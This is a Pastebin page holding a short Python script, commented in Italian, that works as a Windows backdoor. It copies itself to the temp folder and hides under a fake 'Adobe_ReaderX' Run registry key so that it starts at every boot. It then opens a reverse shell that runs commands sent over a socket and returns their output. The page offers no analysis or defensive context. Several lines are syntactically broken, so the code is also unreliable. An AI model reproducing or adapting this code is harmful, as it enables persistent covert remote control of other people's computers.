Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys, base64, os, socket, subprocess
- from _winreg import *
- def autorun(tempdir, fileName, run):
- # Auto-copia in %TEMP%:
- os.system('copy %s %s'%(fileName, tempdir))
- # Controlli
- key = OpenKey(HKEY_LOCAL_MACHINE, run)
- runkey =[]
- try:
- i = 0
- while True:
- subkey = EnumValue(key, i)
- runkey.append(subkey[0])
- i += 1
- except WindowsError:
- pass
- # Imposta l'auto-run
- if 'Adobe ReaderX' not in runkey:
- try:
- key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
- myMal = "%TEMP%\\" + filename
- SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ, myMal )
- key.Close()
- except WindowsError:
- pass
- defshell():
- s =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(('127.0.0.1', int(2002))) #IP: 127.0.0.1 porta: 2002
- s.send('[*] Connection Established!')
- while:
- data =s.recv(1024)
- ifdata =="quit": break
- proc =subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- stdout_value =proc.stdout.read() +proc.stderr.read()
- s.send(stdout_value)
- s.close()
- def main():
- tempdir = '%TEMP%'
- fileName = sys.argv[0]
- run = "Software\Microsoft\Windows\CurrentVersion\Run"
- autorun(tempdir, fileName, run)
- shell()
- if __name__ == "__main__":
- main()
Add Comment
Please, Sign In to add comment